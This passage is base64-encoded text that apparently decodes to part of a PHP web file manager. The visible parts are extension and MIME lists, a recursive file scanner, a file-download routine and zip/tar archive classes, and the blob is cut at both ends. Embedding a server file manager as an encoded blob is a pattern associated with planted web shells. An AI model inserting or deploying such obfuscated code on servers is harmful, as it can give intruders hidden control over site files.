haztcbiAgICAgICAgY2FzZSAnYmF0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGRlZmF1bHQ6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJztcbiAgICB9XG5cbiAgICByZXR1cm4gJGltZztcbn1cblxuXC8qKlxuICogR2V0IGltYWdlIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoJ2ljbycsICdnaWYnLCAnanBnJywgJ2pwZWcnLCAnanBjJywgJ2pwMicsICdqcHgnLCAneGJtJywgJ3dibXAnLCAncG5nJywgJ2JtcCcsICd0aWYnLCAndGlmZicsICdwc2QnLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpO1xufVxuXG5cLyoqXG4gKiBHZXQgdmlkZW8gZmlsZXMgZXh0ZW5zaW9uc1xuICogQHJldHVybiBhcnJheVxuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X3ZpZGVvX2V4dHMoKVxue1xuICAgIHJldHVybiBhcnJheSgnYXZpJywgJ3dlYm0nLCAnd212JywgJ21wNCcsICdtNHYnLCAnb2dtJywgJ29ndicsICdtb3YnLCAnbWt2Jyk7XG59XG5cblwvKipcbiAqIEdldCBhdWRpbyBmaWxlcyBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfYXVkaW9fZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCd3YXYnLCAnbXAzJywgJ29nZycsICdtNGEnKTtcbn1cblxuXC8qKlxuICogR2V0IHRleHQgZmlsZSBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICd0eHQnLFxuICAgICAgICAnY3NzJyxcbiAgICAgICAgJ2luaScsXG4gICAgICAgICdjb25mJyxcbiAgICAgICAgJ2xvZycsXG4gICAgICAgICdodGFjY2VzcycsXG4gICAgICAgICdwYXNzd2QnLFxuICAgICAgICAnZnRwcXVvdGEnLFxuICAgICAgICAnc3FsJyxcbiAgICAgICAgJ2pzJyxcbiAgICAgICAgJ3RzJyxcbiAgICAgICAgJ2pzeCcsXG4gICAgICAgICd0c3gnLFxuICAgICAgICAnbWpzJyxcbiAgICAgICAgJ2pzb24nLFxuICAgICAgICAnc2gnLFxuICAgICAgICAnY29uZmlnJyxcbiAgICAgICAgJ3BocCcsXG4gICAgICAgICdwaHA0JyxcbiAgICAgICAgJ3BocDUnLFxuICAgICAgICAncGhwcycsXG4gICAgICAgICdwaHRtbCcsXG4gICAgICAgICdodG0nLFxuICAgICAgICAnaHRtbCcsXG4gICAgICAgICdzaHRtbCcsXG4gICAgICAgICd4aHRtbCcsXG4gICAgICAgICd4bWwnLFxuICAgICAgICAneHNsJyxcbiAgICAgICAgJ20zdScsXG4gICAgICAgICdtM3U4JyxcbiAgICAgICAgJ3BscycsXG4gICAgICAgICdjdWUnLFxuICAgICAgICAnYmFzaCcsXG4gICAgICAgICd2dWUnLFxuICAgICAgICAnZW1sJyxcbiAgICAgICAgJ21zZycsXG4gICAgICAgICdjc3YnLFxuICAgICAgICAnYmF0JyxcbiAgICAgICAgJ3R3aWcnLFxuICAgICAgICAndHBsJyxcbiAgICAgICAgJ21kJyxcbiAgICAgICAgJ2dpdGlnbm9yZScsXG4gICAgICAgICdsZXNzJyxcbiAgICAgICAgJ3Nhc3MnLFxuICAgICAgICAnc2NzcycsXG4gICAgICAgICdjJyxcbiAgICAgICAgJ2NwcCcsXG4gICAgICAgICdjcycsXG4gICAgICAgICdweScsXG4gICAgICAgICdnbycsXG4gICAgICAgICd6c2gnLFxuICAgICAgICAnc3dpZnQnLFxuICAgICAgICAnbWFwJyxcbiAgICAgICAgJ2xvY2snLFxuICAgICAgICAnZHRkJyxcbiAgICAgICAgJ3N2ZycsXG4gICAgICAgICdhc3AnLFxuICAgICAgICAnYXNweCcsXG4gICAgICAgICdhc3gnLFxuICAgICAgICAnYXNteCcsXG4gICAgICAgICdhc2h4JyxcbiAgICAgICAgJ2pzcCcsXG4gICAgICAgICdqc3B4JyxcbiAgICAgICAgJ2NnaScsXG4gICAgICAgICdkb2NrZXJmaWxlJyxcbiAgICAgICAgJ3J1YnknLFxuICAgICAgICAneW1sJyxcbiAgICAgICAgJ3lhbWwnLFxuICAgICAgICAndG9tbCcsXG4gICAgICAgICd2aG9zdCcsXG4gICAgICAgICdzY3B0JyxcbiAgICAgICAgJ2FwcGxlc2NyaXB0JyxcbiAgICAgICAgJ2NzeCcsXG4gICAgICAgICdjc2h0bWwnLFxuICAgICAgICAnYysrJyxcbiAgICAgICAgJ2NvZmZlZScsXG4gICAgICAgICdjZm0nLFxuICAgICAgICAncmInLFxuICAgICAgICAnZ3JhcGhxbCcsXG4gICAgICAgICdtdXN0YWNoZScsXG4gICAgICAgICdqaW5qYScsXG4gICAgICAgICdodHRwJyxcbiAgICAgICAgJ2hhbmRsZWJhcnMnLFxuICAgICAgICAnamF2YScsXG4gICAgICAgICdlcycsXG4gICAgICAgICdlczYnLFxuICAgICAgICAnbWFya2Rvd24nLFxuICAgICAgICAnd2lraScsXG4gICAgICAgICd0bXAnLFxuICAgICAgICAndG9wJyxcbiAgICAgICAgJ2JvdCcsXG4gICAgICAgICdkYXQnLFxuICAgICAgICAnYmFrJyxcbiAgICAgICAgJ2h0cGFzc3dkJyxcbiAgICAgICAgJ3BsJyxcbiAgICAgICAgJ3BzMSdcbiAgICApO1xufVxuXG5cLyoqXG4gKiBHZXQgbWltZSB0eXBlcyBvZiB0ZXh0IGZpbGVzXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9taW1lcygpXG57XG4gICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAnYXBwbGljYXRpb25cL3htbCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwvamF2YXNjcmlwdCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwveC1qYXZhc2NyaXB0JyxcbiAgICAgICAgJ2ltYWdlXC9zdmcreG1sJyxcbiAgICAgICAgJ21lc3NhZ2VcL3JmYzgyMicsXG4gICAgICAgICdhcHBsaWNhdGlvblwvanNvbicsXG4gICAgKTtcbn1cblxuXC8qKlxuICogR2V0IGZpbGUgbmFtZXMgb2YgdGV4dCBmaWxlcyB3XC9vIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF90ZXh0X25hbWVzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICdsaWNlbnNlJyxcbiAgICAgICAgJ3JlYWRtZScsXG4gICAgICAgICdhdXRob3JzJyxcbiAgICAgICAgJ2NvbnRyaWJ1dG9ycycsXG4gICAgICAgICdjaGFuZ2Vsb2cnLFxuICAgICk7XG59XG5cblwvKipcbiAqIEdldCBvbmxpbmUgZG9jcyB2aWV3ZXIgc3VwcG9ydGVkIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9vbmxpbmVWaWV3ZXJfZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCdkb2MnLCAnZG9jeCcsICd4bHMnLCAneGxzeCcsICdwZGYnLCAncHB0JywgJ3BwdHgnLCAnYWknLCAncHNkJywgJ2R4ZicsICd4cHMnLCAncmFyJywgJ29kdCcsICdvZHMnKTtcbn1cblxuXC8qKlxuICogSXQgcmV0dXJucyB0aGUgbWltZSB0eXBlIG9mIGEgZmlsZSBiYXNlZCBvbiBpdHMgZXh0ZW5zaW9uLlxuICogQHBhcmFtIGV4dGVuc2lvbiBUaGUgZmlsZSBleHRlbnNpb24gb2YgdGhlIGZpbGUgeW91IHdhbnQgdG8gZ2V0IHRoZSBtaW1lIHR5cGUgZm9yLlxuICogQHJldHVybiBzdHJpbmd8c3RyaW5nW10gVGhlIG1pbWUgdHlwZSBvZiB0aGUgZmlsZS5cbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pXG57XG4gICAgJGZpbGVUeXBlc1snc3dmJ10gPSAnYXBwbGljYXRpb25cL3gtc2hvY2t3YXZlLWZsYXNoJztcbiAgICAkZmlsZVR5cGVzWydwZGYnXSA9ICdhcHBsaWNhdGlvblwvcGRmJztcbiAgICAkZmlsZVR5cGVzWydleGUnXSA9ICdhcHBsaWNhdGlvblwvb2N0ZXQtc3RyZWFtJztcbiAgICAkZmlsZVR5cGVzWyd6aXAnXSA9ICdhcHBsaWNhdGlvblwvemlwJztcbiAgICAkZmlsZVR5cGVzWydkb2MnXSA9ICdhcHBsaWNhdGlvblwvbXN3b3JkJztcbiAgICAkZmlsZVR5cGVzWyd4bHMnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLWV4Y2VsJztcbiAgICAkZmlsZVR5cGVzWydwcHQnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLXBvd2VycG9pbnQnO1xuICAgICRmaWxlVHlwZXNbJ2dpZiddID0gJ2ltYWdlXC9naWYnO1xuICAgICRmaWxlVHlwZXNbJ3BuZyddID0gJ2ltYWdlXC9wbmcnO1xuICAgICRmaWxlVHlwZXNbJ2pwZWcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWydqcGcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWyd3ZWJwJ10gPSAnaW1hZ2VcL3dlYnAnO1xuICAgICRmaWxlVHlwZXNbJ2F2aWYnXSA9ICdpbWFnZVwvYXZpZic7XG4gICAgJGZpbGVUeXBlc1sncmFyJ10gPSAnYXBwbGljYXRpb25cL3Jhcic7XG5cbiAgICAkZmlsZVR5cGVzWydyYSddID0gJ2F1ZGlvXC94LXBuLXJlYWxhdWRpbyc7XG4gICAgJGZpbGVUeXBlc1sncmFtJ10gPSAnYXVkaW9cL3gtcG4tcmVhbGF1ZGlvJztcbiAgICAkZmlsZVR5cGVzWydvZ2cnXSA9ICdhdWRpb1wveC1wbi1yZWFsYXVkaW8nO1xuXG4gICAgJGZpbGVUeXBlc1snd2F2J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snd212J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXZpJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXNmJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snZGl2eCddID0gJ3ZpZGVvXC94LW1zdmlkZW8nO1xuXG4gICAgJGZpbGVUeXBlc1snbXAzJ10gPSAnYXVkaW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wNCddID0gJ3ZpZGVvXC9tcDQnO1xuICAgICRmaWxlVHlwZXNbJ21wZWcnXSA9ICd2aWRlb1wvbXBlZyc7XG4gICAgJGZpbGVUeXBlc1snbXBnJ10gPSAndmlkZW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wZSddID0gJ3ZpZGVvXC9tcGVnJztcbiAgICAkZmlsZVR5cGVzWydtb3YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydzd2YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWyczZ3AnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtNGEnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydhYWMnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtM3UnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcblxuICAgICRmaWxlVHlwZXNbJ3BocCddID0gWydhcHBsaWNhdGlvblwveC1waHAnXTtcbiAgICAkZmlsZVR5cGVzWydodG1sJ10gPSBbJ3RleHRcL2h0bWwnXTtcbiAgICAkZmlsZVR5cGVzWyd0eHQnXSA9IFsndGV4dFwvcGxhaW4nXTtcbiAgICBpZiAoZW1wdHkoJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSkpIHtcbiAgICAgICAgJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSA9IFsnYXBwbGljYXRpb25cL29jdGV0LXN0cmVhbSddO1xuICAgIH1cbiAgICByZXR1cm4gJGZpbGVUeXBlc1skZXh0ZW5zaW9uXTtcbn1cblxuXC8qKlxuICogVGhpcyBmdW5jdGlvbiBzY2FucyB0aGUgZmlsZXMgYW5kIGZvbGRlciByZWN1cnNpdmVseSwgYW5kIHJldHVybiBtYXRjaGluZyBmaWxlc1xuICogQHBhcmFtIHN0cmluZyAkZGlyXG4gKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXJcbiAqIEByZXR1cm4gYXJyYXl8bnVsbFxuICpcL1xuZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJylcbntcbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkZGlyO1xuICAgIGlmICgkcGF0aCkge1xuICAgICAgICAkaXRlID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRwYXRoKSk7XG4gICAgICAgICRyaWkgPSBuZXcgUmVnZXhJdGVyYXRvcigkaXRlLCBcIlwvKFwiIC4gJGZpbHRlciAuIFwiKVwvaVwiKTtcblxuICAgICAgICAkZmlsZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7XG4gICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7XG4gICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7XG4gICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgXCJuYW1lXCIgPT4gJGZpbGVOYW1lLFxuICAgICAgICAgICAgICAgICAgICBcInR5cGVcIiA9PiBcImZpbGVcIixcbiAgICAgICAgICAgICAgICAgICAgXCJwYXRoXCIgPT4gJGxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICRmaWxlcztcbiAgICB9XG59XG5cblwvKipcbiAqIFBhcmFtZXRlcnM6IGRvd25sb2FkRmlsZShGaWxlIExvY2F0aW9uLCBGaWxlIE5hbWUsXG4gKiBtYXggc3BlZWQsIGlzIHN0cmVhbWluZ1xuICogSWYgc3RyZWFtaW5nIC0gdmlkZW9zIHdpbGwgc2hvdyBhcyB2aWRlb3MsIGltYWdlcyBhcyBpbWFnZXNcbiAqIGluc3RlYWQgb2YgZG93bmxvYWQgcHJvbXB0XG4gKiBodHRwczpcL1wvc3RhY2tvdmVyZmxvdy5jb21cL2FcLzEzODIxOTkyXC8xMTY0NjQyXG4gKlwvXG5mdW5jdGlvbiBmbV9kb3dubG9hZF9maWxlKCRmaWxlTG9jYXRpb24sICRmaWxlTmFtZSwgJGNodW5rU2l6ZSAgPSAxMDI0KVxue1xuICAgIGlmIChjb25uZWN0aW9uX3N0YXR1cygpICE9IDApXG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgICRleHRlbnNpb24gPSBwYXRoaW5mbygkZmlsZU5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7XG5cbiAgICAkY29udGVudFR5cGUgPSBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKTtcblxuICAgIGlmIChpc19hcnJheSgkY29udGVudFR5cGUpKSB7XG4gICAgICAgICRjb250ZW50VHlwZSA9IGltcGxvZGUoJyAnLCAkY29udGVudFR5cGUpO1xuICAgIH1cblxuICAgICRzaXplID0gZmlsZXNpemUoJGZpbGVMb2NhdGlvbik7XG5cbiAgICBpZiAoJHNpemUgPT0gMCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnWmVybyBieXRlIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcblxuICAgICAgICByZXR1cm4gKGZhbHNlKTtcbiAgICB9XG5cbiAgICBAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTtcbiAgICAkZnAgPSBmb3BlbihcIiRmaWxlTG9jYXRpb25cIiwgXCJyYlwiKTtcblxuICAgIGlmICgkZnAgPT09IGZhbHNlKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgIH1cbiAgICBcbiAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTtcbiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTtcbiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCcpO1xuICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTtcbiAgICBoZWFkZXIoXCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnlcIik7XG4gICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiAkY29udGVudFR5cGVcIik7XG5cbiAgICAkY29udGVudERpc3Bvc2l0aW9uID0gJ2F0dGFjaG1lbnQnO1xuXG4gICAgaWYgKHN0cnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sIFwiTVNJRVwiKSkge1xuICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJ1wvXFwuXC8nLCAnJTJlJywgJGZpbGVOYW1lLCBzdWJzdHJfY291bnQoJGZpbGVOYW1lLCAnLicpIC0gMSk7XG4gICAgICAgIGhlYWRlcihcIkNvbnRlbnQtRGlzcG9zaXRpb246ICRjb250ZW50RGlzcG9zaXRpb247ZmlsZW5hbWU9XFxcIiRmaWxlTmFtZVxcXCJcIik7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cXFwiJGZpbGVOYW1lXFxcIlwiKTtcbiAgICB9XG5cbiAgICBoZWFkZXIoXCJBY2NlcHQtUmFuZ2VzOiBieXRlc1wiKTtcbiAgICAkcmFuZ2UgPSAwO1xuXG4gICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JBTkdFJ10pKSB7XG4gICAgICAgIGxpc3QoJGEsICRyYW5nZSkgPSBleHBsb2RlKFwiPVwiLCAkX1NFUlZFUlsnSFRUUF9SQU5HRSddKTtcbiAgICAgICAgc3RyX3JlcGxhY2UoJHJhbmdlLCBcIi1cIiwgJHJhbmdlKTtcbiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxO1xuICAgICAgICAkbmV3X2xlbmd0aCA9ICRzaXplIC0gJHJhbmdlO1xuICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1MZW5ndGg6ICRuZXdfbGVuZ3RoXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LVJhbmdlOiBieXRlcyAkcmFuZ2Ukc2l6ZTJcLyRzaXplXCIpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgICRzaXplMiA9ICRzaXplIC0gMTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1SYW5nZTogYnl0ZXMgMC0kc2l6ZTJcLyRzaXplXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LUxlbmd0aDogXCIgLiAkc2l6ZSk7XG4gICAgfVxuICAgICRmaWxlTG9jYXRpb24gPSByZWFscGF0aCgkZmlsZUxvY2F0aW9uKTtcbiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpO1xuICAgIHJlYWRmaWxlKCRmaWxlTG9jYXRpb24pO1xuXG4gICAgZmNsb3NlKCRmcCk7XG5cbiAgICByZXR1cm4gKChjb25uZWN0aW9uX3N0YXR1cygpID09IDApIGFuZCAhY29ubmVjdGlvbl9hYm9ydGVkKCkpO1xufVxuXG5cLyoqXG4gKiBDbGFzcyB0byB3b3JrIHdpdGggemlwIGZpbGVzICh1c2luZyBaaXBBcmNoaXZlKVxuICpcL1xuY2xhc3MgRk1fWmlwcGVyXG57XG4gICAgcHJpdmF0ZSAkemlwO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT56aXAgPSBuZXcgWmlwQXJjaGl2ZSgpO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUsIFppcEFyY2hpdmU6OkNSRUFURSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7XG4gICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkge1xuICAgICAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTtcbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aClcbiAgICB7XG4gICAgICAgICRyZXMgPSAkdGhpcy0+emlwLT5vcGVuKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHtcbiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7XG4gICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkge1xuICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5hZGREaXIoJGZpbGVuYW1lKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRGlyKCRwYXRoKVxuICAgIHtcbiAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRFbXB0eURpcigkcGF0aCkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpO1xuICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkge1xuICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykge1xuICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cbn1cblxuXC8qKlxuICogQ2xhc3MgdG8gd29yayB3aXRoIFRhciBmaWxlcyAodXNpbmcgUGhhckRhdGEpXG4gKlwvXG5jbGFzcyBGTV9aaXBwZXJfVGFyXG57XG4gICAgcHJpdmF0ZSAkdGFyO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT50YXIgPSBudWxsO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkdGhpcy